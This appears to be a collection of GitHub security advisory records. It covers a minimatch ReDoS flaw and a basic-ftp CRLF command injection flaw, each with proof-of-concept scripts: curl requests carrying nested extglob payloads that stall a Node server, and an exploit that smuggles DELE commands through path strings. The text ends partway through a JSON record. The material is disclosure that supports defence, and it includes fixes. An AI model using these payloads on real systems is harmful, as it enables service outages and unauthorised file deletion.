"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has Denial of Service via Malformed Decorator Syntax in Template Compilation"
}
GHSA-23C5-XMQV-RM74
Vulnerability from github – Published: 2026-02-26 22:07 – Updated: 2026-02-26 22:07Summary
Nested *() extglobs produce regexps with nested unbounded quantifiers (e.g. (?:(?:a|b)*)*), which exhibit catastrophic backtracking in V8. With a 12-byte pattern *(*(*(a|b))) and an 18-byte non-matching input, minimatch() stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default minimatch() API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects +() extglobs equally.
Details
The root cause is in AST.toRegExpSource() at src/ast.ts#L598. For the * extglob type, the close token emitted is )* or )?, wrapping the recursive body in (?:...)*. When extglobs are nested, each level adds another * quantifier around the previous group:
: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`
This produces the following regexps:
| Pattern | Generated regex |
|---|---|
*(a\|b) |
/^(?:a\|b)*$/ |
*(*(a\|b)) |
/^(?:(?:a\|b)*)*$/ |
*(*(*(a\|b))) |
/^(?:(?:(?:a\|b)*)*)*$/ |
*(*(*(*(a\|b)))) |
/^(?:(?:(?:(?:a\|b)*)*)*)*$/ |
These are textbook nested-quantifier patterns. Against an input of repeated a characters followed by a non-matching character z, V8's backtracking engine explores an exponential number of paths before returning false.
The generated regex is stored on this.set and evaluated inside matchOne() at src/index.ts#L1010 via p.test(f). It is reached through the standard minimatch() call with no configuration.
Measured times via minimatch():
| Pattern | Input | Time |
|---|---|---|
*(*(a\|b)) |
a x30 + z |
~68,000ms |
*(*(*(a\|b))) |
a x20 + z |
~124,000ms |
*(*(*(*(a\|b)))) |
a x25 + z |
~116,000ms |
*(a\|a) |
a x25 + z |
~2,000ms |
Depth inflection at fixed input a x16 + z:
| Depth | Pattern | Time |
|---|---|---|
| 1 | *(a\|b) |
0ms |
| 2 | *(*(a\|b)) |
4ms |
| 3 | *(*(*(a\|b))) |
270ms |
| 4 | *(*(*(*(a\|b)))) |
115,000ms |
Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
PoC
Tested on minimatch@10.2.2, Node.js 20.
Step 1 -- verify the generated regexps and timing (standalone script)
Save as poc4-validate.mjs and run with node poc4-validate.mjs:
import { minimatch, Minimatch } from 'minimatch'
function timed(fn) {
const s = process.hrtime.bigint()
let result, error
try { result = fn() } catch(e) { error = e }
const ms = Number(process.hrtime.bigint() - s) / 1e6
return { ms, result, error }
}
// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
let pat = 'a|b'
for (let i = 0; i < depth; i++) pat = `*(${pat})`
const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)" -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
['*(*(*(a|b)))', 15], // ~270ms
['*(*(*(a|b)))', 17], // ~800ms
['*(*(*(a|b)))', 19], // ~2400ms
['*(*(a|b))', 23], // ~260ms
['*(a|b)', 101], // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}
// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)
// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)
Observed output:
depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false
Step 2 -- HTTP server (event loop starvation proof)
Save as poc4-server.mjs:
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3001
http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))
Terminal 1 -- start the server:
node poc4-server.mjs
Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &
Terminal 3 -- send a benign request while the attack is in-flight:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"
Observed output -- Terminal 2 (attack):
{"result":false,"ms":"64149"}
Observed output -- Terminal 3 (benign, concurrent):
{"result":false,"ms":"0"}
time_total: 63.022047s
Terminal 1 (server log):
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false
The server reports "ms":"0" for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second time_total is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.
Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
Impact
Any context where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.
Depth 3 (*(*(*(a|b))), 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (*(*(a|b)), 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
+() extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).
Mitigation available: passing { noext: true } to minimatch() disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.2.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "9.0.0"
},
{
"fixed": "9.0.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.0.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.4.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.2.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "minimatch"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27904"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:07:15Z",
"nvd_published_at": "2026-02-26T02:16:21Z",
"severity": "HIGH"
},
"details": "### Summary\n\nNested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.\n\n---\n\n### Details\n\nThe root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:\n\n```typescript\n: this.type === \u0027*\u0027 \u0026\u0026 bodyDotAllowed ? `)?`\n: `)${this.type}`\n```\n\nThis produces the following regexps:\n\n| Pattern | Generated regex |\n|----------------------|------------------------------------------|\n| `*(a\\|b)` | `/^(?:a\\|b)*$/` |\n| `*(*(a\\|b))` | `/^(?:(?:a\\|b)*)*$/` |\n| `*(*(*(a\\|b)))` | `/^(?:(?:(?:a\\|b)*)*)*$/` |\n| `*(*(*(*(a\\|b))))` | `/^(?:(?:(?:(?:a\\|b)*)*)*)*$/` |\n\nThese are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8\u0027s backtracking engine explores an exponential number of paths before returning `false`.\n\nThe generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.\n\nMeasured times via `minimatch()`:\n\n| Pattern | Input | Time |\n|----------------------|--------------------|------------|\n| `*(*(a\\|b))` | `a` x30 + `z` | ~68,000ms |\n| `*(*(*(a\\|b)))` | `a` x20 + `z` | ~124,000ms |\n| `*(*(*(*(a\\|b))))` | `a` x25 + `z` | ~116,000ms |\n| `*(a\\|a)` | `a` x25 + `z` | ~2,000ms |\n\nDepth inflection at fixed input `a` x16 + `z`:\n\n| Depth | Pattern | Time |\n|-------|----------------------|--------------|\n| 1 | `*(a\\|b)` | 0ms |\n| 2 | `*(*(a\\|b))` | 4ms |\n| 3 | `*(*(*(a\\|b)))` | 270ms |\n| 4 | `*(*(*(*(a\\|b))))` | 115,000ms |\n\nGoing from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.\n\n---\n\n### PoC\n\nTested on minimatch@10.2.2, Node.js 20.\n\n**Step 1 -- verify the generated regexps and timing (standalone script)**\n\nSave as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:\n\n```javascript\nimport { minimatch, Minimatch } from \u0027minimatch\u0027\n\nfunction timed(fn) {\n const s = process.hrtime.bigint()\n let result, error\n try { result = fn() } catch(e) { error = e }\n const ms = Number(process.hrtime.bigint() - s) / 1e6\n return { ms, result, error }\n}\n\n// Verify generated regexps\nfor (let depth = 1; depth \u003c= 4; depth++) {\n let pat = \u0027a|b\u0027\n for (let i = 0; i \u003c depth; i++) pat = `*(${pat})`\n const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()\n console.log(`depth=${depth} \"${pat}\" -\u003e ${re}`)\n}\n// depth=1 \"*(a|b)\" -\u003e /^(?:a|b)*$/\n// depth=2 \"*(*(a|b))\" -\u003e /^(?:(?:a|b)*)*$/\n// depth=3 \"*(*(*(a|b)))\" -\u003e /^(?:(?:(?:a|b)*)*)*$/\n// depth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\n// Safe-length timing (exponential growth confirmation without multi-minute hang)\nconst cases = [\n [\u0027*(*(*(a|b)))\u0027, 15], // ~270ms\n [\u0027*(*(*(a|b)))\u0027, 17], // ~800ms\n [\u0027*(*(*(a|b)))\u0027, 19], // ~2400ms\n [\u0027*(*(a|b))\u0027, 23], // ~260ms\n [\u0027*(a|b)\u0027, 101], // \u003c5ms (depth=1 control)\n]\nfor (const [pat, n] of cases) {\n const t = timed(() =\u003e minimatch(\u0027a\u0027.repeat(n) + \u0027z\u0027, pat))\n console.log(`\"${pat}\" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)\n}\n\n// Confirm noext disables the vulnerability\nconst t_noext = timed(() =\u003e minimatch(\u0027a\u0027.repeat(18) + \u0027z\u0027, \u0027*(*(*(a|b)))\u0027, { noext: true }))\nconsole.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)\n\n// +() is equally affected\nconst t_plus = timed(() =\u003e minimatch(\u0027a\u0027.repeat(17) + \u0027z\u0027, \u0027+(+(+(a|b)))\u0027))\nconsole.log(`\"+(+(+(a|b)))\" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)\n```\n\nObserved output:\n```\ndepth=1 \"*(a|b)\" -\u003e /^(?:a|b)*$/\ndepth=2 \"*(*(a|b))\" -\u003e /^(?:(?:a|b)*)*$/\ndepth=3 \"*(*(*(a|b)))\" -\u003e /^(?:(?:(?:a|b)*)*)*$/\ndepth=4 \"*(*(*(*(a|b))))\" -\u003e /^(?:(?:(?:(?:a|b)*)*)*)*$/\n\"*(*(*(a|b)))\" n=15: 269ms result=false\n\"*(*(*(a|b)))\" n=17: 268ms result=false\n\"*(*(*(a|b)))\" n=19: 2408ms result=false\n\"*(*(a|b))\" n=23: 257ms result=false\n\"*(a|b)\" n=101: 0ms result=false\nnoext=true: 0ms (should be ~0ms)\n\"+(+(+(a|b)))\" n=18: 6300ms result=false\n```\n\n**Step 2 -- HTTP server (event loop starvation proof)**\n\nSave as `poc4-server.mjs`:\n\n```javascript\nimport http from \u0027node:http\u0027\nimport { URL } from \u0027node:url\u0027\nimport { minimatch } from \u0027minimatch\u0027\n\nconst PORT = 3001\nhttp.createServer((req, res) =\u003e {\n const url = new URL(req.url, `http://localhost:${PORT}`)\n const pattern = url.searchParams.get(\u0027pattern\u0027) ?? \u0027\u0027\n const path = url.searchParams.get(\u0027path\u0027) ?? \u0027\u0027\n\n const start = process.hrtime.bigint()\n const result = minimatch(path, pattern)\n const ms = Number(process.hrtime.bigint() - start) / 1e6\n\n console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern=\"${pattern}\" path=\"${path.slice(0,30)}\"`)\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 })\n res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + \u0027\\n\u0027)\n}).listen(PORT, () =\u003e console.log(`listening on ${PORT}`))\n```\n\nTerminal 1 -- start the server:\n```\nnode poc4-server.mjs\n```\n\nTerminal 2 -- fire the attack (depth=3, 19 a\u0027s + z) and return immediately:\n```\ncurl \"http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29\u0026path=aaaaaaaaaaaaaaaaaaaz\" \u0026\n```\n\nTerminal 3 -- send a benign request while the attack is in-flight:\n```\ncurl -w \"\\ntime_total: %{time_total}s\\n\" \"http://localhost:3001/match?pattern=*%28a%7Cb%29\u0026path=aaaz\"\n```\n\n**Observed output -- Terminal 2 (attack):**\n```\n{\"result\":false,\"ms\":\"64149\"}\n```\n\n**Observed output -- Terminal 3 (benign, concurrent):**\n```\n{\"result\":false,\"ms\":\"0\"}\n\ntime_total: 63.022047s\n```\n\n**Terminal 1 (server log):**\n```\n[2026-02-20T09:41:17.624Z] pattern=\"*(*(*(a|b)))\" path=\"aaaaaaaaaaaaaaaaaaaz\"\n[2026-02-20T09:42:21.775Z] done in 64149ms result=false\n[2026-02-20T09:42:21.779Z] pattern=\"*(a|b)\" path=\"aaaz\"\n[2026-02-20T09:42:21.779Z] done in 0ms result=false\n```\n\nThe server reports `\"ms\":\"0\"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.\n\nNote: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8\u0027s JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.\n\n---\n\n### Impact\n\nAny context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.\n\nDepth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.\n\n`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).\n\n**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.",
"id": "GHSA-23c5-xmqv-rm74",
"modified": "2026-02-26T22:07:15Z",
"published": "2026-02-26T22:07:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27904"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/minimatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions"
}
GHSA-CHQC-8P9Q-PQ6Q
Vulnerability from github – Published: 2026-04-08 20:02 – Updated: 2026-04-09 19:06Summary
basic-ftp version 5.2.0 allows FTP command injection via CRLF sequences (\r\n) in file path parameters passed to high-level path APIs such as cd(), remove(), rename(), uploadFrom(), downloadTo(), list(), and removeDir(). The library's protectWhitespace() helper only handles leading spaces and returns other paths unchanged, while FtpContext.send() writes the resulting command string directly to the control socket with \r\n appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands.
Affected product
| Product | Affected versions | Fixed version |
|---|---|---|
| basic-ftp (npm) | 5.2.0 (confirmed) | no fix available as of 2026-04-04 |
Vulnerability details
- CWE:
CWE-93- Improper Neutralization of CRLF Sequences ('CRLF Injection') - CVSS 3.1:
8.6(High) - Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L - Affected component:
dist/Client.js, all path-handling methods viaprotectWhitespace()andsend()
The vulnerability exists because of two interacting code patterns:
1. Inadequate path sanitization in protectWhitespace() (line 677):
async protectWhitespace(path) {
if (!path.startsWith(" ")) {
return path; // No sanitization of \r\n characters
}
const pwd = await this.pwd();
const absolutePathPrefix = pwd.endsWith("/") ? pwd : pwd + "/";
return absolutePathPrefix + path;
}
This function only handles leading whitespace. It does not strip or reject \r (0x0D) or \n (0x0A) characters anywhere in the path string.
2. Direct socket write in send() (FtpContext.js line 177):
send(command) {
this._socket.write(command + "\r\n", this.encoding);
}
The send() method appends \r\n to the command and writes directly to the TCP socket. If the command string already contains \r\n sequences (from unsanitized path input), the FTP server interprets them as command delimiters, causing the single intended command to be split into multiple commands.
Affected methods (all call protectWhitespace() → send()):
- cd(path) → CWD ${path}
- remove(path) → DELE ${path}
- list(path) → LIST ${path}
- downloadTo(localPath, remotePath) → RETR ${remotePath}
- uploadFrom(localPath, remotePath) → STOR ${remotePath}
- rename(srcPath, destPath) → RNFR ${srcPath} / RNTO ${destPath}
- removeDir(path) → RMD ${path}
Technical impact
An attacker who controls file path parameters can inject arbitrary FTP protocol commands, enabling:
- Arbitrary file deletion: Inject
DELE /critical-fileto delete files on the FTP server - Directory manipulation: Inject
MKDorRMDcommands to create/remove directories - File exfiltration: Inject
RETRcommands to trigger downloads of unintended files - Server command execution: On FTP servers supporting
SITE EXEC, inject system commands - Session hijacking: Inject
USER/PASScommands to re-authenticate as a different user - Service disruption: Inject
QUITto terminate the FTP session unexpectedly
The attack is realistic in applications that accept user input for FTP file paths — for example, web applications that allow users to specify files to download from or upload to an FTP server.
Proof of concept
Prerequisites:
mkdir basic-ftp-poc && cd basic-ftp-poc
npm init -y
npm install basic-ftp@5.2.0
Mock FTP server (ftp-server-mock.js):
const net = require('net');
const server = net.createServer(conn => {
console.log('[+] Client connected');
conn.write('220 Mock FTP\r\n');
let buffer = '';
conn.on('data', data => {
buffer += data.toString();
const lines = buffer.split('\r\n');
buffer = lines.pop();
for (const line of lines) {
if (!line) continue;
console.log('[CMD] ' + JSON.stringify(line));
if (line.startsWith('USER')) conn.write('331 OK\r\n');
else if (line.startsWith('PASS')) conn.write('230 Logged in\r\n');
else if (line.startsWith('FEAT')) conn.write('211 End\r\n');
else if (line.startsWith('TYPE')) conn.write('200 OK\r\n');
else if (line.startsWith('PWD')) conn.write('257 "/"\r\n');
else if (line.startsWith('OPTS')) conn.write('200 OK\r\n');
else if (line.startsWith('STRU')) conn.write('200 OK\r\n');
else if (line.startsWith('CWD')) conn.write('250 OK\r\n');
else if (line.startsWith('DELE')) conn.write('250 Deleted\r\n');
else if (line.startsWith('QUIT')) { conn.write('221 Bye\r\n'); conn.end(); }
else conn.write('200 OK\r\n');
}
});
});
server.listen(2121, () => console.log('[*] Mock FTP on port 2121'));
Exploit (poc.js):
const ftp = require('basic-ftp');
async function exploit() {
const client = new ftp.Client();
client.ftp.verbose = true;
try {
await client.access({
host: '127.0.0.1',
port: 2121,
user: 'anonymous',
password: 'anonymous'
});
// Attack 1: Inject DELE command via cd()
// Intended: CWD harmless.txt
// Actual: CWD harmless.txt\r\nDELE /important-file.txt
const maliciousPath = "harmless.txt\r\nDELE /important-file.txt";
console.log('\n=== Attack 1: DELE injection via cd() ===');
try { await client.cd(maliciousPath); } catch(e) {}
// Attack 2: Double DELE via remove()
const maliciousPath2 = "decoy.txt\r\nDELE /secret-data.txt";
console.log('\n=== Attack 2: DELE injection via remove() ===');
try { await client.remove(maliciousPath2); } catch(e) {}
} finally {
client.close();
}
}
exploit();
Running the PoC:
# Terminal 1: Start mock FTP server
node ftp-server-mock.js
# Terminal 2: Run exploit
node poc.js
Expected output on mock server:
"OPTS UTF8 ON"
"USER anonymous"
"PASS anonymous"
"FEAT"
"TYPE I"
"STRU F"
"OPTS UTF8 ON"
"CWD harmless.txt"
"DELE /important-file.txt" <-- injected from cd()
"DELE decoy.txt"
"DELE /secret-data.txt" <-- injected from remove()
"QUIT"
This command trace was reproduced against the published basic-ftp@5.2.0
package on Linux with a local mock FTP server. The injected DELE commands are
received as distinct FTP commands, confirming that CRLF inside path parameters
is not neutralized before socket write.
Mitigation
Immediate workaround: Sanitize all path inputs before passing them to basic-ftp:
function sanitizeFtpPath(path) {
if (/[\r\n]/.test(path)) {
throw new Error('Invalid FTP path: contains control characters');
}
return path;
}
// Usage
await client.cd(sanitizeFtpPath(userInput));
Recommended fix for basic-ftp: The protectWhitespace() function (or a new validation layer) should reject or strip \r and \n characters from all path inputs:
async protectWhitespace(path) {
// Reject CRLF injection attempts
if (/[\r\n\0]/.test(path)) {
throw new Error('Invalid path: contains control characters');
}
if (!path.startsWith(" ")) {
return path;
}
const pwd = await this.pwd();
const absolutePathPrefix = pwd.endsWith("/") ? pwd : pwd + "/";
return absolutePathPrefix + path;
}
References
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "basic-ftp"
},
"ranges": [
{
"events": [
{
"introduced": "5.2.0"
},
{
"fixed": "5.2.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"5.2.0"
]
}
],
"aliases": [
"CVE-2026-39983"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T20:02:25Z",
"nvd_published_at": "2026-04-09T18:17:02Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`basic-ftp` version `5.2.0` allows FTP command injection via CRLF sequences (`\\r\\n`) in file path parameters passed to high-level path APIs such as `cd()`, `remove()`, `rename()`, `uploadFrom()`, `downloadTo()`, `list()`, and `removeDir()`. The library\u0027s `protectWhitespace()` helper only handles leading spaces and returns other paths unchanged, while `FtpContext.send()` writes the resulting command string directly to the control socket with `\\r\\n` appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands.\n\n## Affected product\n\n| Product | Affected versions | Fixed version |\n| --- | --- | --- |\n| basic-ftp (npm) | 5.2.0 (confirmed) | no fix available as of 2026-04-04 |\n\n## Vulnerability details\n\n- CWE: `CWE-93` - Improper Neutralization of CRLF Sequences (\u0027CRLF Injection\u0027)\n- CVSS 3.1: `8.6` (`High`)\n- Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L`\n- Affected component: `dist/Client.js`, all path-handling methods via `protectWhitespace()` and `send()`\n\nThe vulnerability exists because of two interacting code patterns:\n\n**1. Inadequate path sanitization in `protectWhitespace()` (line 677):**\n\n```javascript\nasync protectWhitespace(path) {\n if (!path.startsWith(\" \")) {\n return path; // No sanitization of \\r\\n characters\n }\n const pwd = await this.pwd();\n const absolutePathPrefix = pwd.endsWith(\"/\") ? pwd : pwd + \"/\";\n return absolutePathPrefix + path;\n}\n```\n\nThis function only handles leading whitespace. It does not strip or reject `\\r` (0x0D) or `\\n` (0x0A) characters anywhere in the path string.\n\n**2. Direct socket write in `send()` (FtpContext.js line 177):**\n\n```javascript\nsend(command) {\n this._socket.write(command + \"\\r\\n\", this.encoding);\n}\n```\n\nThe `send()` method appends `\\r\\n` to the command and writes directly to the TCP socket. If the command string already contains `\\r\\n` sequences (from unsanitized path input), the FTP server interprets them as command delimiters, causing the single intended command to be split into multiple commands.\n\n**Affected methods** (all call `protectWhitespace()` \u2192 `send()`):\n- `cd(path)` \u2192 `CWD ${path}`\n- `remove(path)` \u2192 `DELE ${path}`\n- `list(path)` \u2192 `LIST ${path}`\n- `downloadTo(localPath, remotePath)` \u2192 `RETR ${remotePath}`\n- `uploadFrom(localPath, remotePath)` \u2192 `STOR ${remotePath}`\n- `rename(srcPath, destPath)` \u2192 `RNFR ${srcPath}` / `RNTO ${destPath}`\n- `removeDir(path)` \u2192 `RMD ${path}`\n\n## Technical impact\n\nAn attacker who controls file path parameters can inject arbitrary FTP protocol commands, enabling:\n\n1. **Arbitrary file deletion**: Inject `DELE /critical-file` to delete files on the FTP server\n2. **Directory manipulation**: Inject `MKD` or `RMD` commands to create/remove directories\n3. **File exfiltration**: Inject `RETR` commands to trigger downloads of unintended files\n4. **Server command execution**: On FTP servers supporting `SITE EXEC`, inject system commands\n5. **Session hijacking**: Inject `USER`/`PASS` commands to re-authenticate as a different user\n6. **Service disruption**: Inject `QUIT` to terminate the FTP session unexpectedly\n\nThe attack is realistic in applications that accept user input for FTP file paths \u2014 for example, web applications that allow users to specify files to download from or upload to an FTP server.\n\n## Proof of concept\n\n**Prerequisites:**\n\n```bash\nmkdir basic-ftp-poc \u0026\u0026 cd basic-ftp-poc\nnpm init -y\nnpm install basic-ftp@5.2.0\n```\n\n**Mock FTP server (ftp-server-mock.js):**\n\n```javascript\nconst net = require(\u0027net\u0027);\nconst server = net.createServer(conn =\u003e {\n console.log(\u0027[+] Client connected\u0027);\n conn.write(\u0027220 Mock FTP\\r\\n\u0027);\n let buffer = \u0027\u0027;\n conn.on(\u0027data\u0027, data =\u003e {\n buffer += data.toString();\n const lines = buffer.split(\u0027\\r\\n\u0027);\n buffer = lines.pop();\n for (const line of lines) {\n if (!line) continue;\n console.log(\u0027[CMD] \u0027 + JSON.stringify(line));\n if (line.startsWith(\u0027USER\u0027)) conn.write(\u0027331 OK\\r\\n\u0027);\n else if (line.startsWith(\u0027PASS\u0027)) conn.write(\u0027230 Logged in\\r\\n\u0027);\n else if (line.startsWith(\u0027FEAT\u0027)) conn.write(\u0027211 End\\r\\n\u0027);\n 